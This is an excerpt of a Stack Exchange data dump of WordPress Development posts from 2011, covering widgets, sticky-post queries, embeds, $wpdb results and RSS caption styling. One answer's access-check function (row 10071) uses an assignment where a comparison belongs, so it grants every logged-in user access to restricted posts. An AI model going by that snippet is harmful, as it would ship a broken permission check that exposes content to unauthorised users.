  <row Id="10053" PostTypeId="2" ParentId="9929" CreationDate="2011-02-22T08:35:26.413" Score="0" ViewCount="" Body="&lt;p&gt;If you want a more generic method, you could try oEmbed, which supports a &lt;code&gt;thumbnail_url&lt;/code&gt; property for videos. Many sites have oEmbed support built in, but &lt;a href=&quot;http://oohembed.com/&quot; rel=&quot;nofollow&quot;&gt;oohEmbed&lt;/a&gt; or &lt;a href=&quot;http://embed.ly/&quot; rel=&quot;nofollow&quot;&gt;Embedly&lt;/a&gt; offer many more services through the same API.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, &lt;a href=&quot;http://oohembed.com/oohembed/?url=http://blip.tv/file/4778330&quot; rel=&quot;nofollow&quot;&gt;the oohEmbed request for your video&lt;/a&gt; returns the following information:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;    &quot;type&quot;: &quot;video&quot;,&#xA;    &quot;version&quot;: &quot;1.0&quot;,&#xA;    &quot;title&quot;: &quot;WEBISODE 14 - The Bay - Chapter 4 - Part 2&quot;,&#xA;    &quot;author_name&quot;: &quot;TheBaytheSeries&quot;,&#xA;    &quot;author_url&quot;: &quot;http://TheBaytheSeries.blip.tv&quot;,&#xA;    &quot;provider_name&quot;: &quot;blip.tv&quot;,&#xA;    &quot;provider_url&quot;: &quot;http://blip.tv&quot;,&#xA;    &quot;width&quot;: 720,&#xA;    &quot;height&quot;: 436,&#xA;    &quot;html&quot;: &quot;&amp;lt;embed src=\&quot;http://blip.tv/play/AYKk4RQC\&quot; type=\&quot;application/x-shockwave-flash\&quot; width=\&quot;720\&quot; height=\&quot;436\&quot; allowscriptaccess=\&quot;always\&quot; allowfullscreen=\&quot;true\&quot;&amp;gt;&amp;lt;/embed&amp;gt;&quot;,&#xA;    &quot;thumbnail_url&quot;: &quot;http://a.images.blip.tv/Thebaytheseries-WEBISODE14TheBayChapter4Part2721.png&quot;,&#xA;    &quot;thumbnail_width&quot;: 720,&#xA;    &quot;thumbnail_height&quot;: 436 &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-22T08:35:26.413" CommentCount="1" />
  <row Id="10054" PostTypeId="1" CreationDate="2011-02-22T09:08:04.557" Score="0" ViewCount="135" Body="&lt;p&gt;Currently i work on including an Website into WordPress for an better cms.&#xA;I managed to change the CSS and Templates that it looks like the website 1:1.&#xA;But there are some sections that i cant just copy...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to include something like that to an page :&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://img819.imageshack.us/img819/6358/examplewebsite.jpg&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Wordpress have already his &quot;continue reading&quot; button, but it just work on the &quot;home&quot; page.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin or tool that could manage this ?&#xA;I would be great if the User/admin would be able just to write an article, select the disered catagory; and the system would include the article to the page. Of couse i could hardcode it... but the User would be somebody with no coding / programming knownloadge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked a lot in plugin sites, but i could find a matching tool.&lt;/p&gt;&#xA;" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-22T10:06:12.867" LastActivityDate="2011-02-22T10:06:12.867" Title="Creating an different page Style with article category preview?" Tags="&lt;theme-development&gt;&lt;page&gt;" CommentCount="4" />
  <row Id="10055" PostTypeId="1" CreationDate="2011-02-22T09:15:53.740" Score="0" ViewCount="44" Body="&lt;p&gt;Hay, I'm using &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;wp_list_pages('sort_column=menu_order&amp;amp;title_li=&amp;amp;echo=0&amp;amp;depth=2')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To display the navigation, using the outputted HTML how could i edit the top level links and capitalize them using the php's capitalize function. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I want a PHP solution, i know i could do it with CSS.&lt;/p&gt;&#xA;" LastActivityDate="2011-02-22T13:32:02.560" Title="Editing top level links in WordPress" Tags="&lt;php&gt;&lt;pages&gt;&lt;list&gt;" AnswerCount="0" CommentCount="3" />
  <row Id="10056" PostTypeId="1" AcceptedAnswerId="10060" CreationDate="2011-02-22T09:20:54.590" Score="0" ViewCount="206" Body="&lt;p&gt;I haven't been working with WP for a while and noticed that there are some new features in WP 3+ such as creating meta data for taxonomies. I'd like to be able to add unique meta data setups for different categories on my posts - what would be the best approach for this? Take for example the following categories:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;press releases&quot;&lt;br /&gt;&#xA;&quot;cases&quot;&lt;br /&gt;&#xA;&quot;concepts&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the first, I'd like the admin to be able to attach more than just 1 image (the default thumbnail). In the other two I need the option of an additional textbox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this easier to do with custom post types? I'd rather work with the regular post categories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks,&lt;br /&gt;&#xA;-Staffan&lt;/p&gt;&#xA;" OwnerUserId="3390" LastActivityDate="2011-02-22T13:25:38.077" Title="WP 3.0.5: Best way to add custom metaboxes for post categories?" Tags="&lt;categories&gt;&lt;metabox&gt;" AnswerCount="2" />
  <row Id="10057" PostTypeId="1" CreationDate="2011-02-22T09:22:43.637" Score="0" ViewCount="229" Body="&lt;p&gt;Are there any examples/tutorials on creating a one page wordpress theme? I did something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;query_posts(array(&#xA;  'post_type' =&amp;gt; 'page',&#xA;  'orderby' =&amp;gt; 'menu_order',&#xA;  'order' =&amp;gt; 'asc'&#xA;));&#xA;while(have_posts()) : the_post(); &#xA;?&amp;gt;&#xA;&amp;lt;section id=&quot;page-&amp;lt;?php the_ID() ?&amp;gt;&quot;&amp;gt;&#xA;  &amp;lt;h1&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/h1&amp;gt;&#xA;  &amp;lt;?php the_content() ?&amp;gt;&#xA;&amp;lt;/section&amp;gt;&#xA;&amp;lt;?php endwhile; ?&amp;gt;&#xA;&#xA;&amp;lt;ul&amp;gt;&#xA;  &amp;lt;?php while (have_posts()) : the_post(); ?&amp;gt;&#xA;  &amp;lt;li&amp;gt;&amp;lt;a href=&quot;#page-&amp;lt;?php the_ID() ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title() ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;  &amp;lt;?php endwhile; ?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I used jQuery to make it scroll when links are clicked. But how might I handle pages with custom template? &lt;/p&gt;&#xA;" LastActivityDate="2011-08-23T03:33:35.197" Title="How might I develop a 1 page wordpress theme?" Tags="&lt;theme-development&gt;" AnswerCount="1" CommentCount="2" />
  <row Id="10058" PostTypeId="1" AcceptedAnswerId="10061" CreationDate="2011-02-22T09:40:36.620" Score="0" ViewCount="165" Body="&lt;p&gt;I've upgraded to version 3.0. My site is wordswithfriends.net&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My administration panel looks like the following&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://dl.dropbox.com/u/12337149/wp.png&quot; alt=&quot;Add New Post screenshot with toolbar&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I thought there was supposed to be a special YouTube button which I don't seem to have. Adding media asks for URL + text and I just get a link not embedding.&lt;/p&gt;&#xA;" OwnerUserId="2966" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-22T11:10:23.587" LastActivityDate="2011-02-22T11:10:23.587" Title="How do I embed a YouTube video in WordPress 3.0?" Tags="&lt;youtube&gt;&lt;embed&gt;" AnswerCount="1" />
  <row Id="10060" PostTypeId="2" ParentId="10056" CreationDate="2011-02-22T09:58:07.387" Score="1" ViewCount="" Body="&lt;p&gt;WordPress doen't have a term/texonomy meta table in its database so in order to save the meta data you will need to either create your own table hold the data, use the Options table to hold the data or use a plugin that creates that table for you like &lt;a href=&quot;http://wordpress.org/extend/plugins/simple-term-meta/&quot; rel=&quot;nofollow&quot;&gt;Simple Term Meta&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;some tutorials&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bainternet.info/2011/wordpress-category-extra-fields&quot; rel=&quot;nofollow&quot;&gt;add meta data to categories using&#xA;the options table&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://en.bainternet.info/2011/custom-taxonomies-extra-fields&quot; rel=&quot;nofollow&quot;&gt;add meta data to taxonomies using&#xA;the options table&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Hope this helps.&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T09:58:07.387" CommentCount="6" />
  <row Id="10061" PostTypeId="2" ParentId="10058" CreationDate="2011-02-22T10:44:06.927" Score="5" ViewCount="" Body="&lt;p&gt;According to the docs: &lt;a href=&quot;http://codex.wordpress.org/Embeds&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Embeds&lt;/a&gt; as long as you have &quot;Auto-embeds&quot; checked in Administration &gt; Settings &gt; Media SubPanel you can paste in the youtube url and if it's on its own line the video should be embedded.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively you can wrap it in the embed short code e.g. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;[embed width=&quot;123&quot; height=&quot;456&quot;]...[/embed]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3358" LastActivityDate="2011-02-22T10:44:06.927" CommentCount="1" />
  <row Id="10062" PostTypeId="1" CreationDate="2011-02-22T12:16:36.240" Score="0" ViewCount="191" Body="&lt;p&gt;I've heard that Dreamweaver has been improved significantly in latest versions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does anyone have experience in developing a theme or plugin using Dreamweaver? What are the pros/cons?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance&lt;/p&gt;&#xA;" OwnerUserId="1309" LastActivityDate="2011-02-22T12:28:01.547" Title="Is Dreamweaver CS5 a serious choice for theme/plugin development?" Tags="&lt;plugin-development&gt;&lt;theme-development&gt;" AnswerCount="1" CommentCount="0" />
  <row Id="10063" PostTypeId="2" ParentId="10062" CreationDate="2011-02-22T12:28:01.547" Score="1" ViewCount="" Body="&lt;p&gt;There is no valid reason why you can't use Dreamweaver CS5. All you need to be able to do theme/plugin development is a text editor. I personally can't say if it's any good or not. It's all down to preference really.&lt;/p&gt;&#xA;" OwnerUserId="2596" LastActivityDate="2011-02-22T12:28:01.547" CommentCount="3" />
  <row Id="10064" PostTypeId="1" AcceptedAnswerId="18028" CreationDate="2011-02-22T12:30:17.657" Score="1" ViewCount="127" Body="&lt;p&gt;does anyone know if there's a jQuery-navigation plugin with accordion animation which can be auto-applied to the wordpress default navigation?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;it should also support marking the current item (+ also its parent) - any ideas?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="3030" LastActivityDate="2011-06-22T19:06:03.587" Title="looking for navigation plugin (accordion)" Tags="&lt;plugins&gt;&lt;jquery&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="10066" PostTypeId="2" ParentId="10056" CreationDate="2011-02-22T13:25:38.077" Score="1" ViewCount="" Body="&lt;p&gt;You can try my plugin, &lt;a href=&quot;http://wordpress.org/extend/plugins/kc-settings/&quot; rel=&quot;nofollow&quot;&gt;KC Settings&lt;/a&gt; which supports creating settings page for theme, plugins, post metadata (custom fields) and terms metadata. There are a few sample files inside the plugin directory and a short guide on how to use them. Feedback would be awesome :)&lt;/p&gt;&#xA;" OwnerUserId="3367" LastActivityDate="2011-02-22T13:25:38.077" />
  <row Id="10068" PostTypeId="2" ParentId="9232" CreationDate="2011-02-22T13:35:33.460" Score="1" ViewCount="" Body="&lt;p&gt;For the query, I would take a look at &lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.5/wp-includes/query.php#L2473&quot; rel=&quot;nofollow&quot;&gt;how WordPress currently includes sticky posts in the loop&lt;/a&gt;. It does a regular query, and then gets the sticky posts in a separate query. If any of the sticky posts exist in the regular query, it is taken out and put at the top. The remaining sticky posts are then also put at the top.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you should do is query the latest posts, but ignore sticky posts. Then, you query the sticky posts that are less then one month old, ordered by publication date, with a limit of 3. If this results in any posts, you also go through your regular posts to remove any post if it already is one of your sticky posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can prevent the regular query from returning sticky posts by setting the &lt;code&gt;caller_get_posts&lt;/code&gt; option (or &lt;code&gt;ignore_sticky_posts&lt;/code&gt;, as this is called in WP 3.1. The first option was added when sticky posts were added to indicate that the query came from &lt;code&gt;get_posts()&lt;/code&gt;, and thus should ignore sticky posts). To get the sticky posts, you read the post IDs from &lt;code&gt;get_option( 'sticky_posts' )&lt;/code&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2011-02-22T14:15:38.107" LastActivityDate="2011-02-22T14:15:38.107" />
  <row Id="10069" PostTypeId="1" CreationDate="2011-02-22T13:41:24.923" Score="0" ViewCount="293" Body="&lt;p&gt;I have a small problem with this function ! I would like to exclude all sticky post from my query but when I do it, it breaks my pagination. In the following code, when I remove the &quot;&lt;strong&gt;'post__not_in' =&gt; $sticky&lt;/strong&gt;&quot; my pagination works like a charm...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any advice would be much appreciated !&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Cheers.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;/* Exculde STICKY from the main QUERY */&#xA;function exclude_cat(){&#xA;    if (is_home()) {&#xA;        $paged = (get_query_var('page')) ? get_query_var('page') : 1;&#xA;        $sticky = get_option( 'sticky_posts' );&#xA;        $args = array(&#xA;        'category__not_in' =&amp;gt; array( 71 ),&#xA;        'ignore_sticky_posts' =&amp;gt; 1,&#xA;        'post__not_in' =&amp;gt; $sticky,&#xA;        'paged' =&amp;gt; $paged&#xA;        );&#xA;        query_posts($args);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1636" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-02-22T14:05:26.707" LastActivityDate="2011-02-22T14:05:26.707" Title="Exclude Sticky posts from Main Query break Pagination" Tags="&lt;sticky-post&gt;&lt;plugin-wp-pagenavi&gt;" CommentCount="5" />
  <row Id="10070" PostTypeId="2" ParentId="1178" CreationDate="2011-02-22T13:41:45.767" Score="0" ViewCount="" Body="&lt;h1&gt;How to remove the favorite actions menu&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Hook a filter onto &lt;code&gt;favorite_actions&lt;/code&gt; and return an empty array.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_favorite_actions() {&#xA;    return array();&#xA;}&#xA;add_filter( 'favorite_actions', 'remove_favorite_actions' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-22T13:41:45.767" />
  <row Id="10071" PostTypeId="2" ParentId="10042" CreationDate="2011-02-22T14:11:58.533" Score="1" ViewCount="" Body="&lt;p&gt;to restrict on the back-end you can use the default author role.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and on the front-end you ca use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function check_rights_8876(){&#xA;    global $post,$current_user;&#xA;    $author_id=$post-&amp;gt;post_author;&#xA;    get_currentuserinfo();&#xA;    if ( is_user_logged_in() ) {&#xA;        if ( current_user_can('manage_options') ){// admin&#xA;            return true;&#xA;        }&#xA;        if ($author_id = $current_user-&amp;gt;ID ){// curent post author&#xA;            return true;&#xA;        }&#xA;    }&#xA;    return false;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Once you have this function defined you can check before displaying the post like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (check_rights_8876()){&#xA;    //display the post&#xA;}&#xA;else{&#xA;    //Sorry but you don't have rights to access this post massage here&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Hope this helps&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-02-22T14:11:58.533" />
  <row Id="10072" PostTypeId="1" AcceptedAnswerId="10074" CreationDate="2011-02-22T14:32:11.157" Score="0" ViewCount="176" Body="&lt;p&gt;I've found almost the same question: &lt;a href=&quot;http://stackoverflow.com/questions/4796165/multiple-loops-in-wordpress-second-loop-not-resetting&quot;&gt;http://stackoverflow.com/questions/4796165/multiple-loops-in-wordpress-second-loop-not-resetting&lt;/a&gt; but the answer doesn't work for me.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have &quot;portfolio&quot; post type, and I'm working on widget displaying all portfolio items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This code works perfectly on page-portfolio:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$loop = new WP_Query( array( &#xA;        'post_type' =&amp;gt; 'portfolio',   &#xA;        'posts_per_page' =&amp;gt; 5 ) );&#xA;&#xA;&amp;lt;?php while ( $loop-&amp;gt;have_posts() ) : $loop-&amp;gt;the_post(); ?&amp;gt;         &#xA; (...)&#xA;&amp;lt;?endwhile?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But when I implement this in my widgets - the &quot;post_type&quot; field doesn't seem to work. No matter what I type as post type - it always displays POSTS instead of PORTFOLIO ITEMS. Even if the post type doesn't even exist (and as we all know it should display nothing if there's no such post type!).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe the problem is aside from my widget there's blog section (loop from loop.php, no code to show, because there's just only &quot;while ( have_posts() ) : the_post();&quot;) &lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I may be wrong, deleted every line of code from loop.php and my widget still shows posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas how to fix that?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[edit #2]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ok, so my site looks just like every normal Wordpress blog:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;header.php&#xA;loop.php &amp;gt; widget area&#xA;footer.php&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There is almost no PHP code in header and footer (at least no loops etc.).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The loop.php is also I'd say normal:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; &amp;lt;?php if ( ! have_posts() ) : ?&amp;gt; &#xA;    (...)&#xA;    &amp;lt;?php endif; ?&amp;gt; &#xA;&#xA;    &amp;lt;?php while ( have_posts() ) : the_post(); ?&amp;gt; &#xA;    (...)&#xA;    &amp;lt;?php endwhile; ?&amp;gt;  &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;In fact the widget is ALSO not very unique:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function myWidgetName_load_widgets() {&#xA;    register_widget( 'myWidgetName' );&#xA;}&#xA;&#xA;class myWidgetName extends WP_Widget {&#xA;&#xA;    function myWidgetName() {&#xA;(...)&#xA;}&#xA;&#xA;function widget( $args, $instance ) {&#xA;        extract( $args );&#xA;        $title = apply_filters('widget_title', $instance['title'] );&#xA;        $number = $instance['number'];&#xA;&#xA;        echo $before_widget;&#xA;        if ( $title )&#xA;            echo $before_title . $title . $after_title;&#xA;        if ( $number )&#xA;    echo &quot;&amp;lt;ul&amp;gt;&quot;; ?&amp;gt;          &#xA;        &amp;lt;?php &#xA;     $loopWithSuperUniqueName = new WP_Query( array( &#xA;        'post_type' =&amp;gt; 'anything', /* and this doesn't work */   &#xA;        'posts_per_page' =&amp;gt; 15 ) );&#xA;    ?&amp;gt;&#xA;&#xA;     &amp;lt;?php while ( $loopWithSuperUniqueName-&amp;gt;have_posts() ) : $loopWithSuperUniqueName-&amp;gt;the_post(); ?&amp;gt;  &#xA;     &amp;lt;p&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/p&amp;gt; /* it always displays POSTS even if 'post_type' =&amp;gt; 'alalaaolbadiobladaWhathever' */&#xA;     &amp;lt;?php endwhile; ?&amp;gt;  &#xA;&#xA;&#xA;&#xA;&#xA;    &amp;lt;?php echo &quot;&amp;lt;/ul&amp;gt;&quot;; ?&amp;gt; &#xA;        &amp;lt;?php&#xA;        echo $after_widget;&#xA;    }&#xA;&#xA;function update( $new_instance, $old_instance ) {&#xA;(...)&#xA;}&#xA;&#xA; function form( $instance ) {  &#xA;(...)&#xA;}&#xA;&#xA;etc.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The widget's code is OK, because I've developed a few similar widgets and they WORK.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm starting to think there's something wrong with Wordpress, not my code.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastEditorUserId="1869" LastEditorDisplayName="" LastEditDate="2011-02-22T19:56:07.570" LastActivityDate="2011-02-22T19:56:07.570" Title="Post_type doesn't work for widgets?" Tags="&lt;custom-post-types&gt;&lt;widgets&gt;&lt;loop&gt;" AnswerCount="1" CommentCount="6" />
  <row Id="10073" PostTypeId="1" AcceptedAnswerId="10081" CreationDate="2011-02-22T14:38:21.033" Score="0" ViewCount="185" Body="&lt;p&gt;I'm trying to make a very simple widget that access tables contained within the same database instance as my Wordpress database, but are not wordpress tables. I'm using the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class&quot; rel=&quot;nofollow&quot;&gt;wpdb class according to the codex&lt;/a&gt;. I'm not getting any errors, but I'm also not getting any results.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I using the object appropriately? Or should I be rolling my own access class for my own tables?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is the widget code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function widget ($args,$instance) &#xA;{&#xA;        extract($args);&#xA;&#xA;        global $wpdb;&#xA;&#xA;        $title = $instance['title'];&#xA;        $catid = $instance['catid'];&#xA;&#xA;        $current_user = wp_get_current_user();&#xA;&#xA;        $sql = 'SELECT max(ID) as MaxID, status FROM Clients WHERE UserID = '.$current_user-&amp;gt;ID;&#xA;        $clientRow = $wpdb-&amp;gt;get_results($sql);&#xA;&#xA;        $out = '&amp;lt;div style=&quot;text-align: center; border: solid 1px Navy; background-color: #E4E4E4&quot;&amp;gt;';&#xA;        $out .= '&amp;lt;span&amp;gt;Client status: '.$clientRow-&amp;gt;status.'&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;';&#xA;&#xA;        echo $before_widget;&#xA;        echo $before_title.$title.$after_title;&#xA;        echo $out;&#xA;        echo $after_widget;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;" OwnerUserId="3397" LastEditorUserId="3397" LastEditorDisplayName="" LastEditDate="2011-02-22T14:50:20.483" LastActivityDate="2011-02-22T15:18:14.190" Title="Using $wpdb object in a widget" Tags="&lt;plugin-development&gt;&lt;widgets&gt;&lt;wpdb&gt;&lt;shared-user-tables&gt;" AnswerCount="3" CommentCount="3" />
  <row Id="10074" PostTypeId="2" ParentId="10072" CreationDate="2011-02-22T14:56:24.700" Score="1" ViewCount="" Body="&lt;p&gt;It sounds like your widget references the global $loop for some reason. This could possibly be due to the internals of the Widget class or due to interference of other plugins, i guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a first step, to be on the safe side, try using a different variable name. The global loop is referred to as $loop, by simply renaming yours to $myloop you can avoid any confusions between global and local.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, if the trouble persists, test your widget on a 'page' type page. Or any other 'single' page. Does it only show a single row now?&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T14:56:24.700" CommentCount="8" />
  <row Id="10075" PostTypeId="2" ParentId="10057" CreationDate="2011-02-22T15:02:52.337" Score="0" ViewCount="" Body="&lt;p&gt;In your code above, you should probably insert a &lt;code&gt;rewind_posts();&lt;/code&gt; in between your two loops.&lt;/p&gt;&#xA;" OwnerUserId="3104" LastActivityDate="2011-02-22T15:02:52.337" />
  <row Id="10076" PostTypeId="2" ParentId="10073" CreationDate="2011-02-22T15:03:46.850" Score="1" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#SELECT_Generic_Results&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb-&amp;gt;get_results()&lt;/code&gt;&lt;/a&gt; returns multiple rows as an array of objects (or an array of arrays, depending on the &lt;code&gt;$output&lt;/code&gt; parameter). What you want is &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wpdb_Class#SELECT_a_Row&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;$wpdb-&amp;gt;get_row()&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2011-02-22T15:03:46.850" />
  <row Id="10077" PostTypeId="2" ParentId="10073" CreationDate="2011-02-22T15:04:25.133" Score="1" ViewCount="" Body="&lt;p&gt;Your results will come back as an array of objects, not a singular object..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This line treats the result as an object.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$clientRow-&amp;gt;status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;When in fact you've got an array with objects, this would reference the first.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$clientRow[0]-&amp;gt;status&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Not sure quite what you're expecting from the result, so hopefully the above info is enough to help fix the problem?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Small note, you may not need this.. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$current_user = wp_get_current_user();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Giving &lt;code&gt;$current_user&lt;/code&gt; scope should be enough.&lt;/p&gt;&#xA;" OwnerUserId="1468" LastActivityDate="2011-02-22T15:04:25.133" />
  <row Id="10078" PostTypeId="1" CreationDate="2011-02-22T15:05:34.493" Score="0" ViewCount="157" Body="&lt;p&gt;My WordPress site includes the full article in its RSS feed. This includes the text of the post and basic formatting. It also includes post images and their captions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem is that my captions are not formatted. They appear below my images, but they look like plain text. This makes it hard for a reader to see that they are associated with the preceding image.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I change the formatting of the image captions in an RSS feed reader? I'd like to make the captions italic or to use a gray color to distinguish it from the other text.&lt;/p&gt;&#xA;" OwnerUserId="3399" LastActivityDate="2011-02-27T22:27:59.673" Title="Style wordpress image captions in RSS" Tags="&lt;rss&gt;&lt;feed&gt;&lt;formatting&gt;&lt;captions&gt;" AnswerCount="3" />
  <row Id="10079" PostTypeId="2" ParentId="10064" CreationDate="2011-02-22T15:13:34.413" Score="0" ViewCount="" Body="&lt;p&gt;There's no such plugin, but you could always try with &lt;a href=&quot;http://wordpress.org/extend/plugins/wp-pagenavi/&quot; rel=&quot;nofollow&quot;&gt;Wp PageNavi&lt;/a&gt; &amp;amp; &lt;a href=&quot;http://plugins.jquery.com/project/accordion&quot; rel=&quot;nofollow&quot;&gt;jQuery Accordion plugin&lt;/a&gt; .&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By the way is a bit hard for me to imagine accordion animation on page navigation, especially with many pages.&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-02-22T15:13:34.413" />
  <row Id="10080" PostTypeId="2" ParentId="10078" CreationDate="2011-02-22T15:17:00.277" Score="0" ViewCount="" Body="&lt;p&gt;Have you tried adding:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;.wp-caption {&#xA;   (your styles)&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;to style.php?&lt;/p&gt;&#xA;" OwnerUserId="1869" LastActivityDate="2011-02-22T15:17:00.277" CommentCount="1" />
